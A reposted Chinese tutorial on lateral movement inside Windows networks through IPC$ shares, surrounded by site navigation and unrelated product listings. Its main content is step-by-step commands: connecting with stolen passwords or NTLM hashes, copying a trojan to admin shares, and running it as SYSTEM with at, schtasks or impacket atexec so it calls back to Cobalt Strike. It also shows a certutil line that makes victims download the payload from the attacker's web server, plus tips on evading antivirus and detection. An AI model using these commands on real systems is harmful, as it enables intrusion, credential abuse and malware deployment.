0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

什么是IPC?IPC的利用條件有哪些?

jf_vLt34KHi ? 來源:Tide安全團(tuán)隊(duì) ? 2023-02-09 09:17 ? 次閱讀

什么是IPC?

IPC(共享命名管道資源)其實(shí)就是為了實(shí)現(xiàn)進(jìn)程間通信而開放的命名管道;它是為了讓進(jìn)程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進(jìn)行加密數(shù)據(jù)的交換,從而實(shí)現(xiàn)對遠(yuǎn)程計(jì)算機(jī)的訪問。

IPC的利用條件

1.獲得用戶名和密碼

2.開放了139、445端口

IPC可以實(shí)現(xiàn)遠(yuǎn)程登錄及對默認(rèn)共享資源的訪問,而139端口的開啟標(biāo)識NetBIOS協(xié)議的應(yīng)用。通過139、445端口可以實(shí)現(xiàn)對共享文件/打印機(jī)的訪問。

3.管理員開啟了默認(rèn)共享

默認(rèn)共享是為了方便管理員進(jìn)行遠(yuǎn)程管理而默認(rèn)開啟的,包括所有的邏輯盤(c$,d$,e$)等,和系統(tǒng)目錄winnt或windows(admin$)。通過IPC可以實(shí)現(xiàn)對這些默認(rèn)共享目錄的訪問。

IPC在內(nèi)網(wǎng)中的利用手法

IPC基礎(chǔ)命令

1.查看IPC連接與刪除IPC連接


netuse#查看IPC連接 netuse\serveripc$/del#刪除IPC連接

d65a1d4e-a812-11ed-bfe3-dac502259ad0.png

2.建立IPC鏈接到目標(biāo)主機(jī)


netuse\serveripipc$"password"/user:username#工作組

d693952e-a812-11ed-bfe3-dac502259ad0.png

netuse\serveripipc$"password"/user:domainusername#域內(nèi)主機(jī)

d6a270e4-a812-11ed-bfe3-dac502259ad0.png

3.查看文件列表


dir\serveripc$

d6b5f9b6-a812-11ed-bfe3-dac502259ad0.png

4.下載與復(fù)制文件

在下載文件這里,我們是可以看到192.168.3.32的C盤下是有一個(gè)IP.txt文件的,這里我們使用下載文件命令將其下載到我們的桌面。


copy\serveripc$1.ext1.exe#下載文件

d6cb174c-a812-11ed-bfe3-dac502259ad0.png

上傳文件同樣也是使用copy命令進(jìn)行上傳

copy1.bat\serveripc$#上傳文件

d7029eba-a812-11ed-bfe3-dac502259ad0.png

5.查看文件內(nèi)容

若是想要查看?標(biāo) C 盤下的 ip.txt ?件就可以使? type 命令


type\192.168.3.32c$ip.txt

d71c7a4c-a812-11ed-bfe3-dac502259ad0.png

計(jì)劃任務(wù)執(zhí)行命令

在實(shí)戰(zhàn)中,我們建立了IPC連接后,可以上傳木馬文件然后使用計(jì)劃任務(wù)將其上線,目前windows有兩個(gè)計(jì)劃任務(wù)命令,系統(tǒng)小于windows 2012的使用at命令,系統(tǒng)大于等于Windows server 2012的操作系統(tǒng)已經(jīng)棄用了at命令使用schtasks命令。

如下圖,假設(shè)我們當(dāng)前已經(jīng)拿到了Web Server的主機(jī)權(quán)限,并成功與其內(nèi)網(wǎng)的兩臺主機(jī)建立了IPC連接,這時(shí)我們想將這兩臺主機(jī)進(jìn)行上線就需要考慮到剛剛提到的由于windows版本,該使用at還是schtasks計(jì)劃讓其運(yùn)行木馬這個(gè)問題。

d72b7fba-a812-11ed-bfe3-dac502259ad0.png

AT

首先我們先將一個(gè)木馬上傳到我們的Web server中,由于內(nèi)網(wǎng)主機(jī)不出網(wǎng),所以這里要生成正向連接的木馬或通過Web server中轉(zhuǎn)上線的木馬,這里使用的為中轉(zhuǎn)上線生成的木馬

d7449aea-a812-11ed-bfe3-dac502259ad0.pngd7587f10-a812-11ed-bfe3-dac502259ad0.png

在建立IPC連接后,將木馬上傳到目標(biāo)機(jī)器中,然后再使用AT創(chuàng)建計(jì)劃任務(wù)將其執(zhí)行上線


netuse\192.168.3.21ipc$"Admin12345"/user:administrator copy4444.exe\192.168.3.21c$ dir\192.168.3.21c$

d7692c66-a812-11ed-bfe3-dac502259ad0.pngd77ad376-a812-11ed-bfe3-dac502259ad0.png

這里我們可以看到4444.exe已經(jīng)成功被我們上傳到了目標(biāo)機(jī)器中,這里我們先查看一下目標(biāo)系統(tǒng)時(shí)間,然后在使用at 設(shè)置計(jì)劃任務(wù),執(zhí)行我們的木馬文件

nettime\192.168.3.21#查看目標(biāo)系統(tǒng)時(shí)間 at192.168.3.2116:40C:4444.exe#使用at計(jì)劃任務(wù)執(zhí)行C盤下的4444.exe

d79f7fa0-a812-11ed-bfe3-dac502259ad0.png

這里可以通過at命令去查看當(dāng)前計(jì)劃任務(wù)情況,和刪除計(jì)劃任務(wù),具體命令如下

at\192.168.3.211#查看atid=1的計(jì)劃任務(wù) at\192.168.3.211/delete#刪除atid=1的計(jì)劃任務(wù)

d7aeaff2-a812-11ed-bfe3-dac502259ad0.pngd7c4c738-a812-11ed-bfe3-dac502259ad0.png

到了19:10分后,我們可以看到通過at計(jì)劃任務(wù)木馬成功被執(zhí)行,已經(jīng)上線到了我們的CS中

d7e0aeda-a812-11ed-bfe3-dac502259ad0.png

Schtasks

在windows server 2012及以后的操作系統(tǒng)已經(jīng)棄用了at命令,轉(zhuǎn)而使用schtasks命令,schtasks命令比at命令更加的靈活,但是在使用schtasks命令時(shí),就會(huì)在系統(tǒng)中留下日志文件:C:Windows|Tasksxx.txt,這里不詳細(xì)講解schtasks的具體使用命令,只講解在橫向移動(dòng)中,我們常用的操作命令。

和AT命令一樣,我們先和目標(biāo)主機(jī)建立IPC連接,將木馬上傳到目標(biāo)機(jī)器中,然后再使用schtasks命令執(zhí)行木馬程序


netuse\192.168.3.32"admin!@#45"/user:administrator copy4444.exe\192.168.3.32c$ dir\192.168.3.32c$

d7eea418-a812-11ed-bfe3-dac502259ad0.pngd7fcc5a2-a812-11ed-bfe3-dac502259ad0.png

木馬上傳成功后,接下來就使用schtasks命令,schtasks命令與at命令不同,schtasks命令為先創(chuàng)建一個(gè)任務(wù),然后再按需運(yùn)行該任務(wù),也可直接指定時(shí)間運(yùn)行,但相對來說較于麻煩,所以這里使用按需運(yùn)行任務(wù),在創(chuàng)建了任務(wù)后直接讓其運(yùn)行即可

schtasks/create/s192.168.3.32/ru"SYSTEM"/tnbeacon/scDAILY/trc:4444.exe/F#創(chuàng)建beacon任務(wù)對應(yīng)執(zhí)行文件,每天運(yùn)行一次 schtasks/run/s192.168.3.32/tnbeacon/i#運(yùn)行beacon服務(wù)

d80ce4a0-a812-11ed-bfe3-dac502259ad0.png

這里可以通過schtasks命令去查看當(dāng)前計(jì)劃任務(wù)情況,和刪除計(jì)劃任務(wù),具體命令如下

schtasks/query|findstrbeacon#查看beacon計(jì)劃任務(wù) schtasks/delete/s192.168.3.32/tnbeacon/f#刪除beacon計(jì)劃任務(wù)

d83a69f2-a812-11ed-bfe3-dac502259ad0.pngd84c35a6-a812-11ed-bfe3-dac502259ad0.png

這里,使用schtasks也成功將SQLserver上線。

d859d850-a812-11ed-bfe3-dac502259ad0.png

Impacket-atexec

在上文中,我們講述了在命令行下通過使用計(jì)劃任務(wù)來進(jìn)行橫向移動(dòng)的效果,但該效果相對來說不太方便,例如只適用于明文密碼進(jìn)行連接,無法支持hash、在執(zhí)行了命令后,無法獲得回顯等。這里我們可以使用Impacket-atexec工具,impacket是一個(gè)打包好的工具包,里面包含了對于各種協(xié)議和系統(tǒng)命令的利用工具。

對于at&schtasks,我們可以使用impacket中的atexec.exe,使用它可以輕松地進(jìn)行遠(yuǎn)程連接并執(zhí)行系統(tǒng)命令。impacket有兩個(gè)版本,一個(gè)為exe可執(zhí)行程序,另一個(gè)為python文件,該工具適用于Webshell下,Socks代理下,并且支持以hash的方式進(jìn)行連接。

atexec EXE版

EXE版本具體使用方式如下:首先將atexec.exe上傳到目標(biāo)機(jī)器中

d8722ab8-a812-11ed-bfe3-dac502259ad0.png

然后運(yùn)行該文件


atexec.exe./administrator:Admin12345@192.168.3.21"whoami"#本地用戶明文連接執(zhí)行命令 atexec.exegod/administrator:Admin12345@192.168.3.21"whoami"#域內(nèi)用戶明文連接執(zhí)行命令

d8811bf4-a812-11ed-bfe3-dac502259ad0.pngd88f18e4-a812-11ed-bfe3-dac502259ad0.png

可以看到,在使用atexec進(jìn)行執(zhí)行命令后,結(jié)果會(huì)直接返回回來,那么我們也可以使用hash進(jìn)行連接

atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#使用hash進(jìn)行本地用戶連接 atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#使用hash進(jìn)行域內(nèi)用戶連接

d8a16aa8-a812-11ed-bfe3-dac502259ad0.pngd8ba20ca-a812-11ed-bfe3-dac502259ad0.png

至此,為atexec的鏈接和命令執(zhí)行命令,那我們回想剛剛在使用at和schtasks上線時(shí)的步驟:建立IPC連接、上傳木馬、設(shè)置任務(wù)執(zhí)行....步驟較為繁瑣,那我們在使用atexec時(shí),也可以將其進(jìn)行上線,并且相對來說較為簡潔方案。首先,在這里我們需要轉(zhuǎn)變一下思路,不能是將木馬上傳到目標(biāo)機(jī)器中,而是讓目標(biāo)機(jī)器來去下載我們的木馬程序,這里我們將木馬放到Webserver的WEB目錄中,然后構(gòu)造下載命令,讓目標(biāo)機(jī)器將其下載到其機(jī)器中,然后在將其執(zhí)行即可。web server的web目錄為C:inetpubwwwroot,這里我們直接上傳木馬。

d8c9c34a-a812-11ed-bfe3-dac502259ad0.png

然后構(gòu)造下載命令看其目標(biāo)機(jī)器能否下載成功

atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"certutil.exe-urlcache-split-fhttp://192.168.3.31:80/4444.exe4444.exe" atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"dir|findstr4444.exe"

d8daf098-a812-11ed-bfe3-dac502259ad0.pngd8f23a32-a812-11ed-bfe3-dac502259ad0.png

可以看到4444.exe已經(jīng)成功被其下載成功,那么這里我們直接運(yùn)行4444.exe即可

atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"4444.exe"

d903554c-a812-11ed-bfe3-dac502259ad0.png

這里我們可以也可以看到DC成功上線。

d92677d4-a812-11ed-bfe3-dac502259ad0.png

atexec Python版

以上是atexec.exe的利用,但是因?yàn)樾枰谀繕?biāo)主機(jī)上面上傳exe在實(shí)戰(zhàn)中不實(shí)用,可能照成數(shù)據(jù)包丟失,也可能被查殺。所以這里在實(shí)戰(zhàn)中建議使用python版本,但是也有可能目標(biāo)主機(jī)沒有相對的語言解析 ,所以最好的辦法就是使用socket代理調(diào)用atexec.py對其內(nèi)網(wǎng)進(jìn)行利用。

主要操作如下:首先在CS上設(shè)置一個(gè)socket代理,然后使用proxifier 添加代理、規(guī)則。

d9398e82-a812-11ed-bfe3-dac502259ad0.pngd9525d86-a812-11ed-bfe3-dac502259ad0.png

設(shè)置好代理之后,設(shè)置下代理規(guī)則,將所有目標(biāo)主機(jī)為192.168.3.0的數(shù)據(jù)包都通過我們的socket代理進(jìn)行通信,這樣我們就可以與其內(nèi)網(wǎng)的主機(jī)進(jìn)行通信。

d98170a8-a812-11ed-bfe3-dac502259ad0.png

這時(shí)代理設(shè)置好了之后,我們就可以直接在本機(jī)中使用atexec.py對其內(nèi)網(wǎng)進(jìn)行橫向移動(dòng)了,具體命令如下:


pythonatexec.py.administrator:Admin12345@192.168.3.21"whoami"#本地明文建立IPC連接并執(zhí)行命令 pythonatexec.pygodadministrator:Admin12345@192.168.3.21"whoami"#域內(nèi)主機(jī)建立IPC連接并執(zhí)行命令

d9a49aba-a812-11ed-bfe3-dac502259ad0.pngd9b4cd5e-a812-11ed-bfe3-dac502259ad0.png

可以看到,通過socket代理,我們沒有上傳atexec.exe文件,就可直接在本地中對其內(nèi)網(wǎng)進(jìn)行利用,可較大程度的避免在實(shí)戰(zhàn)中上傳較大exe程序,被查殺或上傳失敗的效果

pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#本地用戶使用hash進(jìn)行IPC連接 pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#本地用戶使用hash進(jìn)行IPC連接

d9c97e84-a812-11ed-bfe3-dac502259ad0.pngd9dbe75e-a812-11ed-bfe3-dac502259ad0.png

那么在這里,我們上線CS的步驟也和上文中使用atexec.exe上線步驟一致,這里不再演示。

在內(nèi)網(wǎng)滲透中,IPC是我們經(jīng)常用到的手段之一,若?標(biāo)管理員對服務(wù)器禁?遠(yuǎn)程登錄我們就可以使? IPC 來完成?些操作,在IPC橫向移動(dòng)時(shí),較為推薦使用atexec.py+socket代理的形式對其內(nèi)網(wǎng)進(jìn)行橫向移動(dòng),相對來說動(dòng)靜較小,不易被發(fā)現(xiàn)。




審核編輯:劉清

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報(bào)投訴
  • Web服務(wù)器
    +關(guān)注

    關(guān)注

    0

    文章

    137

    瀏覽量

    24348
  • NETBIOS
    +關(guān)注

    關(guān)注

    0

    文章

    6

    瀏覽量

    9368
  • IPC
    IPC
    +關(guān)注

    關(guān)注

    3

    文章

    336

    瀏覽量

    51721

原文標(biāo)題:橫向移動(dòng)-IPC

文章出處:【微信號:Tide安全團(tuán)隊(duì),微信公眾號:Tide安全團(tuán)隊(duì)】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦

    IPC-660

    IPC
    GITSTAR 集特工控
    發(fā)布于 :2023年12月20日 14:53:06

    IPC-110海光

    接口IPC
    GITSTAR 集特工控
    發(fā)布于 :2023年12月21日 11:26:03

    IPC-A-610D標(biāo)準(zhǔn) IPC-A-610標(biāo)準(zhǔn) IPC標(biāo)準(zhǔn)

    會(huì)員優(yōu)惠價(jià)代購所有IPC正版標(biāo)準(zhǔn)!2009年12月您還想?yún)⒓幽男┱n程?無鉛手工焊接技能培訓(xùn) 09年12月2-3日開班(上海/蘇州)IPC-A-600G(印制板的驗(yàn)收條件)09年12月7-9日開班
    發(fā)表于 11-23 20:38

    IPNC_RDK開發(fā)包IPC Link問題,請問IPC frames和IPC Bits什么區(qū)別?有沒有哪個(gè)文檔詳細(xì)介紹各個(gè)Link用途的?

    Bits In/Out,請問IPC frames和IPC Bits什么區(qū)別?有沒有哪個(gè)文檔詳細(xì)介紹各個(gè)Link用途的?
    發(fā)表于 05-28 10:27

    ipc標(biāo)準(zhǔn)目錄

    ipc標(biāo)準(zhǔn)目錄
    發(fā)表于 09-04 12:38 ?7587次閱讀

    IPC銅箔拉力試驗(yàn)方法

    IPC銅箔拉力試驗(yàn)方法   薄銅箔與載體的分離   1.0適用范圍  該方法適用于室溫條件下測定薄銅箔
    發(fā)表于 09-30 09:41 ?3279次閱讀

    PCB的IPC標(biāo)準(zhǔn)指南

    眾所周知,印刷電路板或 PCB 的制造商在整個(gè)制造過程中確保質(zhì)量至關(guān)重要,需要在所有階段進(jìn)行認(rèn)真關(guān)注。遵守貿(mào)易協(xié)會(huì) IPC 的標(biāo)準(zhǔn)可以提供幫助。 什么是 IPC ? IPC 是電子互連行業(yè)的行業(yè)協(xié)會(huì)
    的頭像 發(fā)表于 10-20 19:36 ?9583次閱讀

    IPC-6012或IPC-A-600:應(yīng)使用哪個(gè)標(biāo)準(zhǔn)?

    印刷電路研究所不斷發(fā)布性能文件,以管理 PCB 行業(yè)的實(shí)踐。其中兩個(gè)文件是 IPC-6012 和 IPC-A-600 。 自 1957 年以來,連接電子行業(yè)的協(xié)會(huì)(俗稱 IPC )是為印刷電路
    的頭像 發(fā)表于 10-26 19:41 ?2.5w次閱讀

    你知道IPC二級和IPC三級什么區(qū)別嗎?兩者對PCB產(chǎn)品的影響又是什么呢?

    很多工程師朋友不是很清楚IPC二級和IPC三級什么區(qū)別,兩者對PCB產(chǎn)品的影響包含哪些。本篇文章小編會(huì)告訴你哪些不同,以及各自包含哪些驗(yàn)收標(biāo)準(zhǔn)。
    的頭像 發(fā)表于 10-19 15:36 ?1.1w次閱讀
    你知道<b class='flag-5'>IPC</b>二級和<b class='flag-5'>IPC</b>三級<b class='flag-5'>有</b>什么區(qū)別嗎?兩者對PCB產(chǎn)品的影響又是什么呢?

    PCB板的IPC二級和IPC三級什么區(qū)別

    IPC二級產(chǎn)品,即專用服務(wù)類電子產(chǎn)品,包括通訊設(shè)備、復(fù)雜的工商業(yè)設(shè)備和高性能、長壽命測量儀器等。IPC二級的標(biāo)準(zhǔn)明確了,這類產(chǎn)品在一般使用環(huán)境下,都不應(yīng)該發(fā)生故障。
    發(fā)表于 10-20 10:28 ?3153次閱讀

    涂鴉推出智能IPC開發(fā)框架,超強(qiáng)兼容性打造趣味IPC周邊生態(tài)

    IPC還有哪些新玩法?隨著攝像頭的應(yīng)用場景增加,IPC作為一種能力,正在融入到越來越多的智能設(shè)備中,形成了一批富有創(chuàng)意的智能IPC融合類產(chǎn)品。比如,掃地機(jī)結(jié)合智能IPC后,能實(shí)現(xiàn)可視化
    的頭像 發(fā)表于 03-03 16:30 ?1417次閱讀
    涂鴉推出智能<b class='flag-5'>IPC</b>開發(fā)框架,超強(qiáng)兼容性打造趣味<b class='flag-5'>IPC</b>周邊生態(tài)

    研華工控機(jī)ipc510和ipc610的區(qū)別是什么?

    ipc510和ipc610是研華公司生產(chǎn)的兩種工業(yè)控制計(jì)算機(jī),很多朋友可能在選擇工控機(jī)的時(shí)候從外觀上肉眼看這兩款研華工控機(jī)區(qū)別不是很明顯,不是很清楚ipc510和
    的頭像 發(fā)表于 08-18 10:10 ?1988次閱讀

    IPC-D-620和IPC/WHMA-A-620操作手冊與指南

    電子發(fā)燒友網(wǎng)站提供《IPC-D-620和IPC/WHMA-A-620操作手冊與指南.pdf》資料免費(fèi)下載
    發(fā)表于 12-25 09:42 ?60次下載

    IPC平臺商的市場格局

    市場上不斷“純平臺商很難賺到錢”的聲音,難道IPC平臺商的歸宿是做方案或成品?在探討這次話題前,我們先了解下IPC平臺商的市場格局。
    的頭像 發(fā)表于 01-25 11:00 ?999次閱讀
    <b class='flag-5'>IPC</b>平臺商的市場格局

    IPC工控機(jī)哪些技術(shù)特點(diǎn)?

    、醫(yī)療、環(huán)保及人們生活的方方面面。 ? ? ?工控機(jī)其定義就是工業(yè)控制計(jì)算機(jī),也有人稱它為工業(yè)電腦或者產(chǎn)業(yè)電腦,英文簡稱IPC,通俗的將就是為了工業(yè)現(xiàn)場而設(shè)計(jì)的計(jì)算機(jī)。 ? ? ?那么IPC工控機(jī)哪些技術(shù)特點(diǎn)? ? ? ?
    的頭像 發(fā)表于 07-30 09:59 ?317次閱讀